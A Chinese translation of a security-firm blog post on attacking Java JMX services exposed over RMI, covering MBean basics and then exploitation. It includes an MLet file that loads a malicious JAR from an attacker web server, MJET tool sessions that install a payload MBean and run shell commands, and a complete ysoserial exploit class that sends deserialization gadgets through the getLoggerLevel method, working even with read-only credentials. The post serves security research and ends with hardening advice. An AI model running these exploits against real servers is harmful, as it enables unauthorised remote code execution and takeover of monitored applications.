如何入侵基于RMI的JMX服务
引言:在上一篇文章中,我们描述了如何使用各种技术(主要是Java反序列化)来入侵Java RMI服务。虽然RMI通常不再用于开发新应用程序,但它仍然是通过JMX实现远程监控的标准技术。针对JMX服务的攻击技术已经公之于众多年了,但我们在安全评估过程中仍然经常会发现不安全/可利用的JMX实例。
本文首先简要介绍JMX,然后介绍已知的攻击技术。同时,我们还会为读者介绍攻击者是如何利用Java反序列化漏洞入侵JMX服务的。
什么是JMX?
Wikipedia对Java Management Extensions(JMX)的定义如下所示:
Java ManagementExtensions(JMX)是一种Java技术,为管理和监视应用程序、系统对象、设备(如打印机)和面向服务的网络提供相应的工具。
JMX通常被描述为SNMP(简单网络管理协议)的“Java版本”。SNMP主要用于监控网络组件,如网络交换机或路由器。与SNMP一样,JMX也用于监视基于Java的应用程序。JMX最常见的应用场景,就是在Nagios、Icinga或Zabbix等集中式监控解决方案中用于监控Java应用服务器的可用性和性能。
JMX还与SNMP还有一个相似之处:虽然大多数公司只用到了其监控功能,但JMX的实际功能远不止于此。JMX不仅能够从远程系统读取值,还可以用于调用远程系统上的方法。
JMX基础知识
MBean
利用JMX,我们可以像托管bean一样来管理各种资源。托管bean(MBean)是遵循JMX标准的某些设计规则的Java Bean类。MBean可以表示设备、应用程序或需要通过JMX管理的任何资源。您可以通过JMX来访问这些MBean,比如查询属性和调用Bean方法。
JMX标准在不同的MBean类型之间有所差异,但是,我们这里只处理标准MBean。为了成为有效的MBean,Java类必须:
- 实现一个接口
- 提供默认的构造函数(不带任何参数)
- 遵循某些命名约定,例如实现getter/setter方法来读/写属性
如果我们想要创建自己的MBean,首先需要定义一个接口。下面给出一个最简单的MBean示例:
package de.mogwailabs.MBeans;
public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);
// Bean method "sayHello"
public String sayHello();
}
下一步是为已定义的接口提供一个实现。注意,其名称应该始终与接口保持一致,但不包括“MBean”部分。
package de.mogwailabs.MBeans;
public class Hello implements HelloMBean {
private String name = "MOGWAI LABS";
// getter/setter for the "name" attribute
public String getName() { return this.name; }
public void setName(String newName) { this.name = newName; }
// Methods
public String sayHello() { return "hello: " + name; }
}
MBean服务器
MBean服务器是一种管理系统MBean的服务。开发人员可以按照特定的命名模式在服务器中注册MBean。MBean服务器将传入的消息转发给已注册的MBean。该服务还负责将消息从MBean转发给外部组件。
默认情况下,每个Java进程都会运行一个MBean服务器服务,我们可以通过ManagementFactory.getPlatformMBeanServer();来访问它。下面给出的示例代码将“连接”到当前进程的MBean服务器,并打印输出所有已注册的MBean:
package de.mogwailabs.MBeanClient;
import java.lang.management.ManagementFactory;
import javax.management.*;
public class MBeanClient {
publicstatic void main(String[] args) throws Exception {
// Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
System.out.println( server.getMBeanCount() );
// Print out each registered MBean
for ( object object :server.queryMBeans(new objectName("*:*"), null) ) {
System.out.println( ((objectInstance)object).getobjectName() );
}
}
}
要想创建可以通过MBean服务器供外部调用的MBean实例,则需要使用objectName类完成相应的注册。每个MBean的名称,不仅要遵循对象命名约定,同时,还必须是独一无二的。名称分为域(通常是包)名和对象名两个部分。对象名称应包含“type”属性。如果给定域中只能有一个给定类型的实例,那么除了type属性之外,通常不应该有任何其他属性。
例如:
com.sun.someapp:type=Whatsit,name=5
com.sun.appserv.Domain1:type=Whatever
下面给出了一个如何在本地MBean服务器上注册MBean的示例代码。
package de.mogwailabs.MBeanExample;
import de.mogwailabs.MBeans.*;
import java.lang.management.ManagementFactory;
import javax.management.*;
public class MBeanExample {
public static void main(String[] args) throws Exception {
//Create a new MBean instance from Hello (HelloMBean interface)
Hello mbean = new Hello();
//Create an object name,
objectName mbeanName = new objectName("de.mogwailabs.MBeans:type=HelloMBean");
//Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
server.registerMBean(mbean,mbeanName);
//Keep the application running until user enters something
System.out.println("Pressany key to exit");
System.in.read();
}
}
JConsole
访问MBean/JMX服务最简单的方法是使用“jconsole”工具,这个工具是JDK的一部分。一旦启动,您就可以连接到正在运行的Java进程,并在MBean选项卡中查看已注册的MBean。此外,它还可以用来获取/设置bean属性,或调用诸如我们的“sayHello”这样的方法。
JMX连接器
到目前为止,本文只连接了我们自己的MBean服务器实例。如果我们想要连接运行在另一台服务器上的远程实例,则必须使用JMX连接器。JMX连接器实际上就是客户端/服务器的stub对象,用于提供对远程MBean服务器的访问。这是通过经典的RPC(远程过程调用)方法实现的,旨在让开发人员可以透明地访问“远程”部件,包括用于与远程实例通信的协议。
默认情况下,Java会提供基于Java RMI(远程方法调用)的远程JMX连接器。我们可以通过向java调用添加以下参数来启用JMX。
-Dcom.sun.management.jmxremote.port=2222-Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false
这是我们的MBean服务器示例(导出到jar文件):
java-Dcom.sun.management.jmxremote.port=2222-Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false-jar mbeanserver.jar
现在,如果我们在系统上扫描端口就会发现,TCP端口2222实际上托管了一个RMI命名注册表,该注册表公开了一个名为“JMXRMI”的对象。实际的RMI服务可以通过TCP端口34041进行访问。这个端口号是在启动过程中随机选择的。如果您想了解有关Java RMI的更多信息,可以参阅我们的前一篇文章。
nmap 192.168.71.128 -p 2222,34041 -sVC
Starting Nmap 7.60 ( https://nmap.org ) at2019-04-08 20:02 CEST
Nmap scan report for rocksteady(192.168.71.128)
Host is up (0.00024s latency).
PORT STATE SERVICE VERSION
2222/tcp open java-rmi Java RMI Registry
| rmi-dumpregistry:
| jmxrmi
| implements javax.management.remote.rmi.RMIServer,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteobjectInvocationHandler
| @127.0.1.1:34041
| extends
|_ java.rmi.server.Remoteobject
34041/tcp open rmiregistry Java RMI
Service detection performed. Please reportany incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scannedin 11.95 seconds
同样,您可以使用JConsole连接该服务。注意,这里不是选择现有进程,而是通过IP:PORT(在本例中为192.168.71.128:2222)连接到服务。
JMX适配器
JMX适配器与JMX连接器功能非常相似,不过它提供的是客户端“期望”的内容,例如HTML或HTTP上的JSON数据。当客户端不是用Java语言编写的,不能使用Java RMI时,则通常需要使用JMX适配器。在本例中,JMX适配器充当通向Java世界的桥梁。使用JMX适配器的缺点是,可能无法调用MBean提供的所有方法,例如,当所需的参数使用了JMX适配器无法序列化的类的时候。目前,比较非常流行的JMX适配器是Jolokia。此外,Tomcat管理接口也提供了一个基于HTTP的JMX适配器。
攻击JMX实例
一旦有了可以在RMI上正常工作的JMX服务之后,我们可以通过各种方式来了解如何攻击这种服务了。随着时间的推移,人们已经发现了许多与基于RMI的JMX相关的攻击技术,下面我们将分别进行介绍。
滥用MBean
如前面的示例所示,应用程序能够注册其他MBean,这样就可以远程调用它们了。JMX通常用于管理应用程序,因此,MBean的功能通常非常强大。以下屏幕截图显示了Tomcat应用程序服务器注册的UserDatabase MBean中的方法。这个MBean不仅可以检查配置的Tomcat用户/组,甚至可以创建新帐户。攻击者可能滥用MBean来窃取配置的密码,或为基于Web的Tomcat管理器创建新管理员。
通过JMX,我们还可以查看Tomcat的所有SessionID,这在攻击Web会话时非常有用。
遗憾的是,这些示例不是通用的攻击模式,而是依赖于受监视/托管应用程序注册的MBean的。
基于MLet的远程代码执行攻击
2013年,Braden Thomas在"Exploiting JMX RMI"一文中首次描述了这种攻击技术。到目前为止,该技术仍可在大多数环境中使用,只要它们未启用JMX身份验证。Braden深入研读过Oracle的相关文档,其中说:
此外,潜在的危害不仅限于您在MBean中定义的操作。远程客户端可以创建javax.management.loading.MLet MBean,并使用它通过任意URL创建新的MBean,至少在没有安全管理器的情况下是这样的。换句话说,恶意远程客户端可以让您的Java应用程序执行任意代码。
因此,虽然禁用安全功能在开发过程中是可接受的,但强烈建议您不要禁用生产系统的安全功能。
术语“MLet”是management applet的缩写形式,可以用来“通过远程URL在MBean服务器中注册一个或多个MBean”。简而言之,MLET是一个类似于HTML的文件,可以通过Web服务器提供。下面是一个MLet示例文件:
<html><mletcode="de.mogwailabs.MaliciousMLet"archive="mogwailabsmlet.jar" name="Mogwailabs:name=payload"codebase="http://attackerwebserver"></mlet></html>
攻击者可以托管这样的MLet文件,并指示JMX服务从远程主机加载MBean。攻击过程如下所示:
- 启动托管MLet和含有恶意MBean的JAR文件的Web服务器
- 使用JMX在目标服务器上创建MBeanjavax.management.loading.MLet的实例
- 调用MBean实例的“getMBeansFromURL”方法,将Web服务器URL作为参数进行传递。JMX服务将连接到http服务器并解析MLet文件。
- JMX服务下载并归档MLet文件中引用的JAR文件,使恶意MBean可通过JMX获取。
- 攻击者最终调用来自恶意MBean的方法。
这听起来相当复杂,但是,攻击者可以借助于各种工具/漏洞利用程序来可靠地完成这种攻击。您可以使用这个metasploit模块,或亲自编写的“MJET”工具。
以下示例展示了如何借助MJET来安装恶意的托管bean:
h0ng10@rocksteady ~/w/mjet> jythonmjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean fromhttp://10.165.188.1:8000
[+] Invoking:javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:47:15]"GET / HTTP/1.1" 200 -
10.165.188.23 - - [26/Apr/2019 21:47:16]"GET /nztcftbg.jar HTTP/1.1" 200 -
[+] Successfully loadedMBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet>
成功安装后,就可以使用MBean来执行任意命令了,甚至可以使用JDK内置的javascript解释器来执行javascript代码。
h0ng10@rocksteady ~/w/mjet> jythonmjet.py 10.165.188.23 2222 command super_secret "ls -la"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 4
[+] Loadedde.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x 5 root root 4096 Apr 26 11:12 .
drwxr-xr-x 33 root root 4096 Apr 10 13:54 ..
lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8
drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib
lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy
drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8
[+]Done
只要满足以下要求,该方法就非常可靠:
- JMX服务器可以连接到由攻击者控制的http服务。这是在目标服务器上加载恶意MBean的必要条件。
- 未启用JMX身份验证。
启用身份验证后的主要影响有两点,一是使用JMX服务时必须提供相应的凭证,而无法调用“getMBeansFromURL”。下面给出的是取自MBeanServerAccessController的代码片段:
final String propName ="jmx.remote.x.mlet.allow.getMBeansFromURL";
GetPropertyAction propAction = new GetPropertyAction(propName);
String propValue = AccessController.doPrivileged(propAction);
boolean allowGetMBeansFromURL ="true".equalsIgnoreCase(propValue);
if (!allowGetMBeansFromURL) {
throw new SecurityException("Access denied! MLet method " +
"getMBeansFromURLcannot be invoked unless a " +
"security manageris installed or the system property " +
"-Djmx.remote.x.mlet.allow.getMBeansFromURL=true" +
"isspecified.");
}
...
因此,即使攻击者持有正确的凭证,上面介绍的攻击技术也无法用于启用身份验证的JMX服务。当然,这也不是绝对的,比如当管理员配置了一个非常弱的安全管理器策略或明确允许通过属性“jmx.remote.x.mlet.allow.getMBeansFromURL”加载远程Mlet的时候,这种攻击方法仍然能够奏效,但是出现这种情况的可能性非常低。
由于大多数管理员/开发人员仅将JMX视为监控工具,因此,他们通常并不了解远程加载MLets的可能性。此外,大多数JMX配置示例都是展示如何在不进行身份验证的情况下配置JMX,因此,在现实世界中经常能够见到使用这种配置不当的JMX服务。
反序列化漏洞
顾名思义,基于RMI的JMX是建立在RMI的基础上的,而RMI本身又是基于本机Java序列化,因此,它自然会成为反序列化攻击的理想目标。与所有Java反序列化攻击一样,这要求受监视应用程序的类加载器加载可以被利用的gadget。就这里的例子来说,都假设攻击目标的类路径中包含ApacheCommonsCollections3.1库。
CVE-2016-3427
CVE-2016-3427漏洞是由Mark Thomas提交的,他发现JMX服务的“JMXConnectorFactory.connect”方法实际上接收的参数是一个对象Map,而不是两个字符串(用户名/密码)。这使得攻击者可以发送含有在服务器端反序列化的恶意对象的Map。
该漏洞的优点是,它甚至可以用来攻击提供了密码保护的JMX实例。与MLet攻击不同,漏洞利用也不要求服务器可以连接到http服务。但是,JMX服务器必须在其类加载器中提供有效的Java反序列化gadget。
您可以在这里找到适用于CVE-2016-3427的DoS-PoC。需要说明的是,Java 8 update77已修复该漏洞。
攻击RMI协议
由于JMX RMI是基于RMI的,因此,攻击者还可以尝试利用RMI级别的反序列化漏洞。为此,攻击者可以使用Moritz Bechler提供的两个漏洞利用代码,如前文所述,它们是Ysoserial工具包的一部分。
这个RMI注册表漏洞攻击代码是通过将恶意序列化对象作为参数发送到命名注册表的“bind”方法来实现的。
这个JRMP客户端攻击代码的攻击目标是由RMI侦听器实现的远程DGC(Distributed GarbageCollection,分布式垃圾收集器)。它可以攻击任何RMI侦听器,而不仅限于RMI命名注册表。
只要目标上存在有效的gadget链,那么,上面的两个漏洞利用代码运行起来都会非常可靠。RMIRegistryExploit的优点是,它可以打印服务器返回的异常。这可用于验证目标是否在其类路径中存在已经用过的gadget。
在引入JEP-290时,Oracle向RMI添加了一个基于白名单的前瞻性反序列化功能,因此可以有效地防御这两个漏洞利用代码。引入该功能的JDK版本包括:
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
JMX/MBean级别的反序列化漏洞
虽然当前很难直接利用RMI上的反序列化漏洞了,但攻击者仍然可以尝试利用应用程序级别的反序列化漏洞。这与我们之前关于RMI服务的文章中描述的攻击非常相似,不同之处在于,实际上这里的利用方法更容易实现。
这种利用方法的基本思想是,调用接受String(或任何其他类)作为参数的MBean方法。正如我们在前面的示例中已经看到的那样,在默认情况下,每个Java进程都会提供多个MBean。实际上,攻击者通常会调用“getLoggerLevel”方法,因为它接受String作为参数。
攻击者只需传递恶意对象作为参数,而不仅限于传递String。JMX使得这一切变得非常容易,因为用于调用远程MBean方法的MBeanServerConnection.invoke方法需要传递两个数组,一个是参数,一个是参数的签名。
objectName mbeanName = new objectName("java.util.logging:type=Logging");
// Create operation's parameter and signature arrays
object opParams[] = {
"MOGWAI_LABS",
};
String opSig[] = {
String.class.getName()
};
// Invoke operation
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel",opParams, opSig);
下面是一个完整的工作示例,我已经将其提交给了ysoserial项目:
package ysoserial.exploit;
import javax.management.MBeanServerConnection;
import javax.management.objectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import ysoserial.payloads.objectPayload.Utils;
/*
*Utility program for exploiting RMI based JMX services running with requiredgadgets available in their ClassLoader.
* Attemptsto exploit the service by invoking a method on a exposed MBean, passing thepayload as argument.
*
*/
public class JMXInvokeMBean {
publicstatic void main(String[] args) throws Exception {
if( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName()+ " <host> <port> <payload_type><payload_arg>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] +":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
//create the payload
object payloadobject = Utils.makePayloadobject(args[2], args[3]);
objectName mbeanName = new objectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName,"getLoggerLevel", new object[]{payloadobject}, newString[]{String.class.getCanonicalName()});
//closethe connection
jmxConnector.close();
}
}
这里,我们需要感谢团队的新成员SebastianKindler,在他的努力下,上面的代码终于可以支持最新版本的MJET了。它的优点是可以在启用身份验证的环境下面正常使用(如果已知有效凭证的话)。它仍然要求在其类路径中含有可利用的gadget,但与基于MLET的攻击不同,这里不再要求提供从JMX服务器到处于攻击者控制下的http服务之间的传出连接。
h0ng10@rocksteady ~/w/mjet> jythonmjet.py --jmxrole admin --jmxpassword adminpassword 10.165.188.23 2222deserialize CommonsCollections6 "touch /tmp/xxx"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to:service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: admin /adminpassword
[+] Connected: rmi://10.165.188.1 admin 22
[+] Loadedsun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameterto getLoggerLevel(String loglevel)
[+] Got an argument type mismatch exception- this is expected
[+] Done
即使您的账户只有readOnly权限,该攻击依然可以奏效,因为反序列化是在实际权限检查之前进行的:
h0ng10@rocksteady ~/w/mjet> jythonmjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222deserialize CommonsCollections6 "touch /tmp/xxx"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to:service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loadedsun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameterto getLoggerLevel(String loglevel)
[+] Got an access denied exception - thisis expected
[+] Done
小结
如本文所述,启用身份验证来保护JMX服务是非常重要的,否则的话,JMX服务就很容易被攻击者入侵。实际上,JMX自身已经提供了这种功能,包括对TLS加密连接的支持。
除了启用身份验证之外,您还应该确保JDK环境是最新的,因为攻击者可能会尝试使用Java反序列化漏洞来利用底层RMI实现;如果没有及时更新的话,启用了身份验证也无济于事。
此外,攻击者还可以设法获得JMX服务的有效凭据。在这种情况下,他仍然可以尝试利用Java反序列化漏洞,即使他的帐户只有读权限。对于这种攻击,可以通过实施全局JEP290政策进行防御,我们将在下一篇文章中进行详细的介绍。
原文地址:https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/
最新评论